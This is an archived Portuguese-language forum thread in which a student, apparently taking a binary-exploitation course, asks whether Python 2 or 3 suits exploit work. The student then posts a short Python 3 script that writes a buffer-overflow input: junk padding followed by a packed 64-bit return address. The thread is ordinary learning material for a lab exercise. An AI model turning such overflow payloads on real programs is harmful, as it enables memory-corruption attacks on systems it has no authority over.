Matheus Batista Gusmao de Oliveira Postado Dezembro 17, 2020 Postado Dezembro 17, 2020 Oi tenho uma dúvida, é possível passar o código do struct.pack() de python 2(que retorna uma str) para python3(retorna byte object). Visto também que todos os bytes em py2 são str, é viável fazer print(str + byte), já em py3 isso não é possivel. Tentei converter para a str, mas a variável não vai para a stack, logo sem buffer overflow. Para uso de exploração de binários é recomendado python2 ou 3?
Matheus Batista Gusmao de Oliveira Postado Dezembro 21, 2020 Autor Postado Dezembro 21, 2020 Para quem tem a mesma duvida que eu e quer passar o script para python 3 por óbvias razões(python2 deprecated). Passei o script para saber o endereço onde ocorre o buffer overflow na aula 02, aqui vai: import sys import struct junk = b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG" esp = struct.pack("<Q", 0x7fffffffdce8) # 12bytes unsigned long little end sys.stdout.buffer.write(junk) sys.stdout.buffer.write(esp) #printa os raw bytes em hexa sem /n e sem o encode chato do py3
Posts Recomendados
Arquivado
Este tópico foi arquivado e está fechado para novas respostas.